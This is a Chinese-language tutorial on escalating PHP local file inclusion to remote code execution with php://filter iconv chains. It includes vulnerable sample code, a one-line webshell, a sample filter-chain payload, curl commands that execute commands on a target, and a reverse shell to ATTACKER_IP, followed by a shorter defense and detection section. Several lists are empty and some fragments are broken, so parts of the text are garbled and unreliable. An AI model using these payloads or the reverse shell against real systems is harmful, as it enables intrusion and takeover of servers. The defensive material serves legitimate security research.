在PHP开发中,文件包含(Local File Inclusion, LFI)漏洞一直是Web安全领域的重点攻防场景。传统利用方式通常受限于目标文件内容的字符限制,而php://filter协议的编码转换特性为绕过这些限制提供了新的可能性。本文将深入解析如何通过多重编码转换构造特殊payload,实现在严格字符限制下的代码注入。
注意:本文所述技术仅限用于合法安全测试与防御研究,实际应用需获得系统所有者明确授权。
PHP的include、require等文件包含函数在设计上存在一个关键特性:它们并不检查被包含文件的扩展名,而是直接将其内容作为PHP代码解析。这意味着即使包含的是.txt、.log甚至图片文件,只要其中包含有效的PHP代码片段,这些代码就会被执行。
典型漏洞代码示例:
php复制<?php
$file = $_GET['file'];
include($file);
?>
这种未经过滤的直接包含用户输入,就是LFI漏洞的根源。攻击者可以通过控制$file参数来包含任意文件,包括系统敏感文件(如/etc/passwd)或上传的恶意文件。
php://filter是PHP提供的一个特殊流过滤器,它允许在读取文件时对内容进行多层编码转换。其核心语法结构为:
code复制php://filter/[filter1|filter2|...]/resource=[文件路径]
其中每个filter可以是:
这些过滤器可以串联使用,形成复杂的处理链。关键在于,PHP会在文件内容被include前应用所有这些转换,而最终输出的内容会被当作PHP代码解析。
假设目标系统对包含的文件内容有严格字符限制(如仅允许字母数字),传统的一句话木马<?php eval($_GET[1]);?>会因为包含<?、>、$等特殊字符而被拦截。我们的攻击目标是通过编码转换:
转换过程示意:
code复制原始文件内容(如hello world)
↓
convert.iconv.UTF8.ASCII|convert.base64-encode|...
(多层转换链)
↓
输出内容:看似无害的字符序列(实际包含隐藏的Webshell)
↓
被include解析执行
这个Python脚本的主要功能是:
<?php eval($_GET[1]);?>a)关键算法步骤:
这个PHP脚本通过系统化的模糊测试来发现有效的字符转换对:
php复制// 伪代码示意核心逻辑
$charsets = ['UTF8', 'ASCII', 'UTF7', 'CP936', ...]; // 所有支持的字符集
foreach ($from_charset in $charsets) {
foreach ($to_charset in $charsets) {
$output = iconv($from_charset, $to_charset, 'x');
if (contains_desired_char($output)) {
save_rule($from_charset, $to_charset, $output);
}
}
}
该目录包含以单个字符命名的文件,例如:
A内容:CP850.UTF7\nISO8859-1.UTF16convert.iconv.CP850.UTF7或convert.iconv.ISO8859-1.UTF16来生成字符A一个实际生成的payload可能如下:
code复制php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
convert.iconv.CSGB2312.UTF-32|
...(约20-30层转换)...
convert.iconv.BIG5.JOHAB|
convert.base64-decode|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
convert.base64-decode/resource=/etc/passwd
各部分的用途:
建议使用Docker快速搭建测试环境:
bash复制# 启动PHP测试容器
docker run -it --rm -p 8080:80 -v $(pwd):/var/www/html php:8.0-apache
# 创建漏洞文件include.php
echo '<?php include($_GET["file"]);?>' > /var/www/html/include.php
bash复制git clone https://github.com/xxx/PHP_INCLUDE_TO_SHELL_CHAR_DICT.git
cd PHP_INCLUDE_TO_SHELL_CHAR_DICT
bash复制python test.py
输出示例:
code复制[+] Generated payload:
php://filter/convert.iconv.UTF8.UTF7|.../resource=/etc/passwd
[+] Usage:
http://target/include.php?file=[payload]&1=system('ls');
python复制from urllib.parse import quote
print(quote('|')) # 输出%7C
code复制curl "http://target/include.php?file=php://filter/convert.iconv.UTF8.UTF7%7C.../resource=/etc/passwd&1=echo%20success;"
bash复制curl -s "http://target/include.php?file=[payload]&1=echo%20md5(123);" | grep -E '[a-f0-9]{32}'
应返回"202cb962ac59075b964b07152d234b70"
bash复制# 使用nc监听
nc -lvnp 4444
# 发起反弹shell
curl "http://target/include.php?file=[payload]&1=exec('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"');"
php复制$allowed = ['page1.php', 'page2.php'];
if (!in_array(basename($_GET['file']), $allowed)) {
die('Invalid file');
}
ini复制; php.ini配置
allow_url_include=Off
allow_url_fopen=Off
php复制$page = $_GET['page'];
$safe_pages = [
'home' => 'home.php',
'about' => 'about.php'
];
if (array_key_exists($page, $safe_pages)) {
include($safe_pages[$page]);
} else {
include('404.php');
}
WAF规则示例(ModSecurity):
code复制SecRule REQUEST_URI "@rx php://filter/(.*?)convert\.iconv" \
"id:1001,phase:1,deny,msg:'PHP filter chain attack attempt'"
日志监控关键词:
长度特征:
正常filter链通常1-3层,攻击链通常10层以上
组合特征:
交替出现的convert.iconv和convert.base64操作
目标文件特征:
总是包含/resource=/etc/passwd等常见文件
不同系统下iconv实现的差异可能导致payload失效,解决方法:
bash复制# 通过已有漏洞执行
curl "http://target/info.php" | grep -i 'iconv\|php'
dockerfile复制FROM php:版本号
RUN apt-get update && apt-get install -y 语言包
bash复制docker run -it --rm -v $(pwd):/app php:目标版本 php /app/fuzzer.php
当需要生成<?等特殊字符时:
php复制// +ADw? 是 <? 的UTF7编码
convert.iconv.UTF8.UTF7/resource=data:,A+ADw
+ADwpython复制# 预先加载所有转换规则
rules = {}
for char_file in os.listdir('res'):
with open(f'res/{char_file}') as f:
rules[char_file] = f.read().splitlines()
python复制from multiprocessing import Pool
def generate_char(char):
# 生成单个字符的转换链
return find_best_chain(char)
with Pool(4) as p:
chains = p.map(generate_char, target_string)
在实施任何安全测试前,必须:
推荐遵循OWASP测试指南:
这种技术展示了Web应用安全中深度防御的重要性。作为开发者,理解攻击原理才能构建更坚固的防御;作为安全研究人员,负责任地披露漏洞才能促进整体安全生态的提升。